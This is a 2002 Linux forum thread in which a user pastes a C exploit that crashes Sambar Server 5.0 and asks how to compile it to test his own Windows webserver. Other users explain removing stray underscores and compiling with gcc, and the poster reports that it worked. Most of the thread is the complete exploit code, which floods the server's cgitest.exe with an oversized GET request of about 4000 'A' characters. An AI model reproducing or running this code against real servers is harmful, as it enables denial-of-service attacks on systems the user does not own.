LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   How do I compile a code snippet. to test my box?? (https://www.linuxquestions.org/questions/linux-newbie-8/how-do-i-compile-a-code-snippet-to-test-my-box-25484/)

_Mhz 07-10-2002 10:20 AM

How do I compile a code snippet. to test my box??
 
How do i compile some code. Im using Redhat 7.1 and i have another Box wich is using windows, on which my webserver is on, and im using sambar. Now i want to compile this code cut n paste, so i can test this vulnrability of my windows Box. but i dont know how to, i have tried saving it in a text file but with the extension .c .cpp then tried compiling with gcc but.it doesnt work. Or am i being totally stupid(probally) and is the code already compiled?? if so how do i use it, ( run it) many thanks. here is the code.
/*********************************************************************
**********
**
**______________ 06.02.2002 - GREETZ TO WbC-BoArD & YAST CREW________
________
**
**______________ Compiled with gcc under linux with kernel 2.4.17____
________
**
**______________ Programname: Sambar Server 5.0__Manufacturer:Jalyn__
________
**
*******************************************************************
*********/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

#define SERVER_PORT 80
#define MAX_MSG 100
____
__int sd, rc, i,j;
__char buf[5000];
__char msgtosnd[5024];
__char msgtoget[102400];
__char source[200000];
__struct sockaddr_in localAddr, servAddr;
__struct hostent *h;
__FILE *f1;
__
int main (int argc, char *argv[]) {
printf("Sleepy of Yast presents \"Sambar Server Production 5.0
Crasher\"\n");
if(argc != 2)
{
printf(">>> usage: %s <ip>",argv[0]);exit(0);
};
h = gethostbyname(argv[1]);
if(h==NULL)
{
printf("%s: unknown host '%s'\n",argv[0],argv[1]);
exit(1);
}
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0)
{
perror("cannot open socket ");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);
rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0)
{
printf("%s: cannot bind port TCP %u\n",argv[0],SERVER_PORT);
perror("error ");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0)
{
perror("cannot connect ");
exit(1);
};
strcpy(buf,"A");
fprintf(stderr,"Entering Loop\n");
for(i=1;i<4000;i++)
{
strcat(buf,"A");
}
sprintf(msgtosnd,"GET /cgi-win/cgitest.exe?%s HTTP/1.1\nhost:
localhost\n\n\n",buf);
for(j=0;j<5;j++)
{
send(sd,msgtosnd,5024,0);
}
printf("\n\n BOOOOM");
}

neo77777 07-10-2002 10:38 AM

First get rid of underscores
Quote:

____
__int sd, rc, i,j;
__char buf[5000];
__char msgtosnd[5024];
__char msgtoget[102400];
__char source[200000];
__struct sockaddr_in localAddr, servAddr;
__struct hostent *h;
__FILE *f1;
__
make it look
Code:

int sd, rc, i,j;
char buf[5000];
char msgtosnd[5024];
char msgtoget[102400];
char source[200000];
struct sockaddr_in localAddr, servAddr;
struct hostent *h;
FILE *f1;

then where you want it compile in linux
use the basic gcc
gcc -o test.exe test.c

Mara 07-10-2002 10:41 AM

And make sure you have gcc installed:
rpm -q -a|grep gcc

mrGee 07-10-2002 10:45 AM

well i'm not going to debug the code ;)
but i guess the gcc reports no errors?
look if it produced an a.out or ....out
do a ./ a.out to see if it works
gcc -o nameyourprog name.c spits out the name you want
try for testing some simple prog like the Hello World!
prog thats described in all c tutorials
enjoy
since i'm not a 'real' programmer, hope this fits

** yes go for Mara's suggestions see timestamp **

_Mhz 07-10-2002 11:03 AM

Many thanks
 
Many many thanks people, this helped alot. i removed the underscores then saved it as "file".c and used gcc -o etc etc and it worked first time.
Many thanks again
_Mhz


All times are GMT -5. The time now is 12:23 PM.